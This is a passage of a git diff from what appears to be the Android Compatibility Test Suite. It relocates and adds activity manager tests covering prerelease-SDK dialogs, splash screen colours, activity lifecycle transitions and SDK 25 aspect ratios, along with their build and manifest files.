+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName2).build());
+ assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+ mAmWmState.getWmState().getLastTransition());
+ }
+
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/PrereleaseSdkTest.java b/tests/framework/base/activitymanager/src/android/server/am/PrereleaseSdkTest.java
new file mode 100644
index 0000000..2ed8dee
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/PrereleaseSdkTest.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.After;
+import org.junit.Test;
+
+/**
+ * Ensure that compatibility dialog is shown when launching an application built
+ * against a prerelease SDK.
+ */
+public class PrereleaseSdkTest extends ActivityManagerTestBase {
+ private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
+ private static final String AM_FORCE_STOP = "am force-stop %s";
+
+ private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
+ private static final int WINDOW_TIMEOUT_MILLIS = 1000;
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+
+ // Ensure app process is stopped.
+ forceStopPackage("android.server.am.prerelease");
+ forceStopPackage("android.server.am");
+ }
+
+ @Test
+ public void testCompatibilityDialog() throws Exception {
+ // Launch target app.
+ startActivity("android.server.am.prerelease", "MainActivity");
+ verifyWindowDisplayed("MainActivity", ACTIVITY_TIMEOUT_MILLIS);
+ verifyWindowDisplayed("UnsupportedCompileSdkDialog", WINDOW_TIMEOUT_MILLIS);
+
+ // Go back to dismiss the warning dialog.
+ executeShellCommand("input keyevent 4");
+
+ // Go back again to formally stop the app. If we just kill the process, it'll attempt to
+ // resume rather than starting from scratch (as far as ActivityStack is concerned) and it
+ // won't invoke the warning dialog.
+ executeShellCommand("input keyevent 4");
+ }
+
+ private void forceStopPackage(String packageName) {
+ final String forceStopCmd = String.format(AM_FORCE_STOP, packageName);
+ executeShellCommand(forceStopCmd);
+ }
+
+ private void startActivity(String packageName, String activityName){
+ executeShellCommand(getStartCommand(packageName, activityName));
+ }
+
+ private String getStartCommand(String packageName, String activityName) {
+ return String.format(AM_START_COMMAND, packageName, packageName, activityName);
+ }
+
+ private void verifyWindowDisplayed(String windowName, long timeoutMillis) {
+ boolean success = false;
+
+ // Verify that compatibility dialog is shown within 1000ms.
+ final long timeoutTimeMillis = System.currentTimeMillis() + timeoutMillis;
+ while (!success && System.currentTimeMillis() < timeoutTimeMillis) {
+ final String output = executeShellCommand("dumpsys window");
+ success = output.contains(windowName);
+ }
+
+ assertTrue(windowName + " was not displayed", success);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java
new file mode 100644
index 0000000..e3b8be8
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.Rect;
+
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.SplashscreenTests
+ */
+public class SplashscreenTests extends ActivityManagerTestBase {
+
+ @Test
+ public void testSplashscreenContent() throws Exception {
+ launchActivityNoWait("SplashscreenActivity");
+ mAmWmState.waitForAppTransitionIdle();
+ mAmWmState.getWmState().getStableBounds();
+ final Bitmap image = takeScreenshot();
+ // Use ratios to flexibly accomodate circular or not quite rectangular displays
+ // Note: Color.BLACK is the pixel color outside of the display region
+ assertColors(image, mAmWmState.getWmState().getStableBounds(),
+ Color.RED, 0.50f, Color.BLACK, 0.01f);
+ }
+
+ private void assertColors(Bitmap img, Rect bounds, int primaryColor,
+ float expectedPrimaryRatio, int secondaryColor, float acceptableWrongRatio) {
+
+ int primaryPixels = 0;
+ int secondaryPixels = 0;
+ int wrongPixels = 0;
+ for (int x = bounds.left; x < bounds.right; x++) {
+ for (int y = bounds.top; y < bounds.bottom; y++) {
+ assertTrue(x < img.getWidth());
+ assertTrue(y < img.getHeight());
+ final int color = img.getPixel(x, y);
+ if (primaryColor == color) {
+ primaryPixels++;
+ } else if (secondaryColor == color) {
+ secondaryPixels++;
+ } else {
+ wrongPixels++;
+ }
+ }
+ }
+
+ final int totalPixels = bounds.width() * bounds.height();
+ final float primaryRatio = (float) primaryPixels / totalPixels;
+ if (primaryRatio < expectedPrimaryRatio) {
+ fail("Less than " + (expectedPrimaryRatio * 100.0f)
+ + "% of pixels have non-primary color primaryPixels=" + primaryPixels
+ + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
+ }
+ // Some pixels might be covered by screen shape decorations, like rounded corners.
+ // On circular displays, there is an antialiased edge.
+ final float wrongRatio = (float) wrongPixels / totalPixels;
+ if (wrongRatio > acceptableWrongRatio) {
+ fail("More than " + (acceptableWrongRatio * 100.0f)
+ + "% of pixels have wrong color primaryPixels=" + primaryPixels
+ + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
new file mode 100644
index 0000000..a5673a6
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
@@ -0,0 +1,83 @@
+package android.server.am.lifecycle;
+
+import static android.server.am.StateLogger.log;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.server.am.ActivityManagerTestBase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.lifecycle.ActivityLifecycleMonitor;
+import android.support.test.runner.lifecycle.ActivityLifecycleMonitorRegistry;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import org.junit.After;
+import org.junit.Before;
+
+/** Base class for device-side tests that verify correct activity lifecycle transitions. */
+public class ActivityLifecycleClientTestBase extends ActivityManagerTestBase {
+
+ final ActivityTestRule mFirstActivityTestRule = new ActivityTestRule(FirstActivity.class,
+ true /* initialTouchMode */, false /* launchActivity */);
+
+ final ActivityTestRule mSecondActivityTestRule = new ActivityTestRule(SecondActivity.class,
+ true /* initialTouchMode */, false /* launchActivity */);
+
+ private final ActivityLifecycleMonitor mLifecycleMonitor = ActivityLifecycleMonitorRegistry
+ .getInstance();
+ private LifecycleLog mLifecycleLog;
+ private LifecycleTracker mLifecycleTracker;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ // Log transitions for all activities that belong to this app.
+ mLifecycleLog = new LifecycleLog();
+ mLifecycleMonitor.addLifecycleCallback(mLifecycleLog);
+
+ // Track transitions and allow waiting for pending activity states.
+ mLifecycleTracker = new LifecycleTracker(mLifecycleLog);
+ mLifecycleMonitor.addLifecycleCallback(mLifecycleTracker);
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ mLifecycleMonitor.removeLifecycleCallback(mLifecycleLog);
+ mLifecycleMonitor.removeLifecycleCallback(mLifecycleTracker);
+ super.tearDown();
+ }
+
+ /** Launch an activity given a class. */
+ protected Activity launchActivity(Class<? extends Activity> activityClass) {
+ final Intent intent = new Intent(InstrumentationRegistry.getTargetContext(), activityClass);
+ return InstrumentationRegistry.getInstrumentation().startActivitySync(intent);
+ }
+
+ /**
+ * Blocking call that will wait for activities to reach expected states with timeout.
+ */
+ @SafeVarargs
+ final void waitAndAssertActivityStates(Pair<Activity, Stage>... activityStates) {
+ log("Start waitAndAssertActivityStates");
+ mLifecycleTracker.waitAndAssertActivityStates(activityStates);
+ }
+
+ LifecycleLog getLifecycleLog() {
+ return mLifecycleLog;
+ }
+
+ static Pair<Activity, Stage> state(Activity activity, Stage stage) {
+ return new Pair<>(activity, stage);
+ }
+
+ // Test activity
+ public static class FirstActivity extends Activity {
+ }
+
+ // Test activity
+ public static class SecondActivity extends Activity {
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
new file mode 100644
index 0000000..5d0705f
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -0,0 +1,44 @@
+package android.server.am.lifecycle;
+
+import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build/Install/Run: atest CtsActivityManagerDeviceTestCases:ActivityLifecycleKeyguardTests
+ */
+// TODO(lifecycler): Add to @Presubmit.
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ActivityLifecycleKeyguardTests extends ActivityLifecycleClientTestBase {
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ setLockCredential();
+ gotoKeyguard();
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ tearDownLockCredentials();
+ super.tearDown();
+ }
+
+ @Test
+ public void testSingleLaunch() throws Exception {
+ final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+ waitAndAssertActivityStates(state(activity, STOPPED));
+
+ LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
new file mode 100644
index 0000000..64a0380
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
@@ -0,0 +1,67 @@
+package android.server.am.lifecycle;
+
+import static android.support.test.runner.lifecycle.Stage.DESTROYED;
+import static android.support.test.runner.lifecycle.Stage.RESUMED;
+import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build/Install/Run: atest CtsActivityManagerDeviceTestCases:ActivityLifecycleTests
+ */
+// TODO(lifecycler): Add to @Presubmit.
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ActivityLifecycleTests extends ActivityLifecycleClientTestBase {
+
+ @Test
+ public void testSingleLaunch() throws Exception {
+ final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+ waitAndAssertActivityStates(state(activity, RESUMED));
+
+ LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+ }
+
+ @Test
+ public void testLaunchOnTop() throws Exception {
+ final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+ waitAndAssertActivityStates(state(firstActivity, RESUMED));
+
+ getLifecycleLog().clear();
+ final Activity secondActivity = mSecondActivityTestRule.launchActivity(new Intent());
+ waitAndAssertActivityStates(state(firstActivity, STOPPED),
+ state(secondActivity, RESUMED));
+
+ LifecycleVerifier.assertLaunchSequence(SecondActivity.class, FirstActivity.class,
+ getLifecycleLog());
+ }
+
+ @Test
+ public void testLaunchAndDestroy() throws Exception {
+ final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+
+ activity.finish();
+ waitAndAssertActivityStates(state(activity, DESTROYED));
+
+ LifecycleVerifier.assertLaunchAndDestroySequence(FirstActivity.class, getLifecycleLog());
+ }
+
+ @Test
+ public void testRelaunch() throws Exception {
+ final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+ waitAndAssertActivityStates(state(activity, RESUMED));
+
+ getLifecycleLog().clear();
+ InstrumentationRegistry.getInstrumentation().runOnMainSync(activity::recreate);
+ waitAndAssertActivityStates(state(activity, RESUMED));
+
+ LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog());
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
new file mode 100644
index 0000000..dab6316
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
@@ -0,0 +1,50 @@
+package android.server.am.lifecycle;
+
+import static android.server.am.StateLogger.log;
+
+import android.app.Activity;
+import android.support.test.runner.lifecycle.ActivityLifecycleCallback;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Used as a shared log storage of activity lifecycle transitions.
+ */
+class LifecycleLog implements ActivityLifecycleCallback {
+
+ private List<Pair<String, Stage>> mLog = new ArrayList<>();
+
+ /** Clear the entire transition log. */
+ void clear() {
+ mLog.clear();
+ }
+
+ /** Add transition of an activity to the log. */
+ @Override
+ public void onActivityLifecycleChanged(Activity activity, Stage stage) {
+ final String activityName = activity.getClass().getCanonicalName();
+ log("Activity " + activityName + " moved to stage " + stage);
+ mLog.add(new Pair<>(activityName, stage));
+ }
+
+ /** Get logs for all recorded transitions. */
+ List<Pair<String, Stage>> getLog() {
+ return mLog;
+ }
+
+ /** Get transition logs for the specified activity. */
+ List<Stage> getActivityLog(Class<? extends Activity> activityClass) {
+ final String activityName = activityClass.getCanonicalName();
+ log("Looking up log for activity: " + activityName);
+ final List<Stage> activityLog = new ArrayList<>();
+ for (Pair<String, Stage> transition : mLog) {
+ if (transition.first.equals(activityName)) {
+ activityLog.add(transition.second);
+ }
+ }
+ return activityLog;
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
new file mode 100644
index 0000000..df2cff7
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
@@ -0,0 +1,76 @@
+package android.server.am.lifecycle;
+
+import static org.junit.Assert.fail;
+
+import android.annotation.SuppressLint;
+import android.app.Activity;
+import android.support.test.runner.lifecycle.ActivityLifecycleCallback;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.function.BooleanSupplier;
+
+/**
+ * Gets notified about activity lifecycle updates and provides blocking mechanism to wait until
+ * expected activity states are reached.
+ */
+public class LifecycleTracker implements ActivityLifecycleCallback {
+
+ private LifecycleLog mLifecycleLog;
+
+ LifecycleTracker(LifecycleLog lifecycleLog) {
+ mLifecycleLog = lifecycleLog;
+ }
+
+ void waitAndAssertActivityStates(Pair<Activity, Stage>[] activityStates) {
+ final boolean waitResult = waitForConditionWithTimeout(
+ () -> pendingStates(activityStates).isEmpty(), 5 * 1000);
+
+ if (!waitResult) {
+ fail("Expected lifecycle states not achieved: " + pendingStates(activityStates));
+ }
+ }
+
+ @Override
+ synchronized public void onActivityLifecycleChanged(Activity activity, Stage stage) {
+ notify();
+ }
+
+ /** Get a list of activity states that were not reached yet. */
+ private List<Pair<Activity, Stage>> pendingStates(Pair<Activity, Stage>[] activityStates) {
+ final List<Pair<Activity, Stage>> notReachedActivityStates = new ArrayList<>();
+
+ for (Pair<Activity, Stage> activityState : activityStates) {
+ final Activity activity = activityState.first;
+ final List<Stage> transitionList = mLifecycleLog.getActivityLog(activity.getClass());
+ if (transitionList.isEmpty()
+ || transitionList.get(transitionList.size() - 1) != activityState.second) {
+ // The activity either hasn't got any state transitions yet or the current state is
+ // not the one we expect.
+ notReachedActivityStates.add(activityState);
+ }
+ }
+ return notReachedActivityStates;
+ }
+
+ /** Blocking call to wait for a condition to become true with max timeout. */
+ synchronized private boolean waitForConditionWithTimeout(BooleanSupplier waitCondition,
+ long timeoutMs) {
+ final long timeout = System.currentTimeMillis() + timeoutMs;
+ while (!waitCondition.getAsBoolean()) {
+ final long waitMs = timeout - System.currentTimeMillis();
+ if (waitMs <= 0) {
+ // Timeout expired.
+ return false;
+ }
+ try {
+ wait(timeoutMs);
+ } catch (InterruptedException e) {
+ // Weird, let's retry.
+ }
+ }
+ return true;
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java
new file mode 100644
index 0000000..bbb3ad8
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java
@@ -0,0 +1,94 @@
+package android.server.am.lifecycle;
+
+import static android.support.test.runner.lifecycle.Stage.CREATED;
+import static android.support.test.runner.lifecycle.Stage.DESTROYED;
+import static android.support.test.runner.lifecycle.Stage.PAUSED;
+import static android.support.test.runner.lifecycle.Stage.PRE_ON_CREATE;
+import static android.support.test.runner.lifecycle.Stage.RESUMED;
+import static android.support.test.runner.lifecycle.Stage.STARTED;
+import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import android.app.Activity;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import java.util.Arrays;
+import java.util.List;
+
+import static android.server.am.StateLogger.log;
+import static org.junit.Assert.assertEquals;
+
+/** Util class that verifies correct activity state transition sequences. */
+class LifecycleVerifier {
+
+ static void assertLaunchSequence(Class<? extends Activity> activityClass,
+ LifecycleLog lifecycleLog) {
+ final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(activityClass, "launch");
+
+ final List<Stage> expectedTransitions =
+ Arrays.asList(PRE_ON_CREATE, CREATED, STARTED, RESUMED);
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
+ static void assertLaunchSequence(Class<? extends Activity> launchingActivity,
+ Class<? extends Activity> existingActivity, LifecycleLog lifecycleLog) {
+ final List<Pair<String, Stage>> observedTransitions = lifecycleLog.getLog();
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(launchingActivity, "launch");
+
+ final List<Pair<String, Stage>> expectedTransitions = Arrays.asList(
+ transition(existingActivity, PAUSED),
+ transition(launchingActivity, PRE_ON_CREATE),
+ transition(launchingActivity, CREATED),
+ transition(launchingActivity, STARTED),
+ transition(launchingActivity, RESUMED),
+ transition(existingActivity, STOPPED));
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
+ static void assertLaunchAndStopSequence(Class<? extends Activity> activityClass,
+ LifecycleLog lifecycleLog) {
+ final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(activityClass, "launch and stop");
+
+ final List<Stage> expectedTransitions =
+ Arrays.asList(PRE_ON_CREATE, CREATED, STARTED, RESUMED, PAUSED, STOPPED);
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
+ static void assertLaunchAndDestroySequence(Class<? extends Activity> activityClass,
+ LifecycleLog lifecycleLog) {
+ final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(activityClass, "launch and destroy");
+
+ final List<Stage> expectedTransitions =
+ Arrays.asList(PRE_ON_CREATE, CREATED, STARTED, RESUMED, PAUSED, STOPPED, DESTROYED);
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
+ static void assertRelaunchSequence(Class<? extends Activity> activityClass,
+ LifecycleLog lifecycleLog) {
+ final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(activityClass, "relaunch");
+
+ final List<Stage> expectedTransitions =
+ Arrays.asList(PAUSED, STOPPED, DESTROYED, PRE_ON_CREATE, CREATED, STARTED, RESUMED);
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
+ private static Pair<String, Stage> transition(
+ Class<? extends Activity> activityClass, Stage state) {
+ return new Pair<>(activityClass.getCanonicalName(), state);
+ }
+
+ private static String errorDuringTransition(Class<? extends Activity> activityClass,
+ String transition) {
+ return "Failed verification during moving activity: " + activityClass.getCanonicalName()
+ + " through transition: " + transition;
+ }
+}
diff --git a/tests/framework/base/activitymanager/testsdk25/Android.mk b/tests/framework/base/activitymanager/testsdk25/Android.mk
new file mode 100644
index 0000000..e55d5f0
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/Android.mk
@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests optional
+
+LOCAL_PACKAGE_NAME := CtsActivityManagerDeviceSdk25TestCases
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ ../src/android/server/am/AspectRatioTestsBase.java
+
+LOCAL_SDK_VERSION := 25
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml b/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
new file mode 100644
index 0000000..f216411
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.cts.am.testsdk25">
+
+ <uses-sdk android:targetSdkVersion="25" />
+
+ <application android:label="CtsActivityManagerDeviceSdk25TestCases">
+ <uses-library android:name="android.test.runner" />
+
+ <activity
+ android:name="android.server.am.AspectRatioSdk25Tests$Sdk25MaxAspectRatioActivity"
+ android:label="Sdk25MaxAspectRatioActivity"
+ android:resizeableActivity="false" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.server.cts.am.testsdk25" />
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/testsdk25/AndroidTest.xml b/tests/framework/base/activitymanager/testsdk25/AndroidTest.xml
new file mode 100644
index 0000000..5de8f88
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<configuration description="Config for CTS ActivityManager SDK 25 compatibility test cases">
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsActivityManagerDeviceSdk25TestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+ <option name="package" value="android.server.cts.am.testsdk25" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
new file mode 100644
index 0000000..6ec1df0
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base/activitymanager
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceSdk25TestCases android.server.am.AspectRatioSdk25Tests
+ */
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class AspectRatioSdk25Tests extends AspectRatioTestsBase {
+
+ // Max supported aspect ratio for pre-O apps.
+ private static final float MAX_PRE_O_ASPECT_RATIO = 1.86f;
+
+ // Test target activity that has targetSdk="25" and resizeableActivity="false".
+ public static class Sdk25MaxAspectRatioActivity extends Activity {
+ }
+
+ @Rule
+ public ActivityTestRule<Sdk25MaxAspectRatioActivity> mSdk25MaxAspectRatioActivity =
+ new ActivityTestRule<>(Sdk25MaxAspectRatioActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Test
+ public void testMaxAspectRatioPreOActivity() throws Exception {
+ runAspectRatioTest(mSdk25MaxAspectRatioActivity, actual -> {
+ if (MAX_PRE_O_ASPECT_RATIO >= actual) return;
+ fail("actual=" + actual + " is greater than expected=" + MAX_PRE_O_ASPECT_RATIO);
+ });
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk b/tests/framework/base/activitymanager/translucentapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
rename to tests/framework/base/activitymanager/translucentapp/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/AndroidManifest.xml b/tests/framework/base/activitymanager/translucentapp/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/AndroidManifest.xml
rename to tests/framework/base/activitymanager/translucentapp/AndroidManifest.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/src/android/server/translucentapp/TranslucentLandscapeActivity.java b/tests/framework/base/activitymanager/translucentapp/src/android/server/am/translucentapp/TranslucentLandscapeActivity.java
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/src/android/server/translucentapp/TranslucentLandscapeActivity.java
rename to tests/framework/base/activitymanager/translucentapp/src/android/server/am/translucentapp/TranslucentLandscapeActivity.java
diff --git a/tests/framework/base/activitymanager/translucentappsdk26/Android.mk b/tests/framework/base/activitymanager/translucentappsdk26/Android.mk
new file mode 100644
index 0000000..dbb0b2b
--- /dev/null
+++ b/tests/framework/base/activitymanager/translucentappsdk26/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
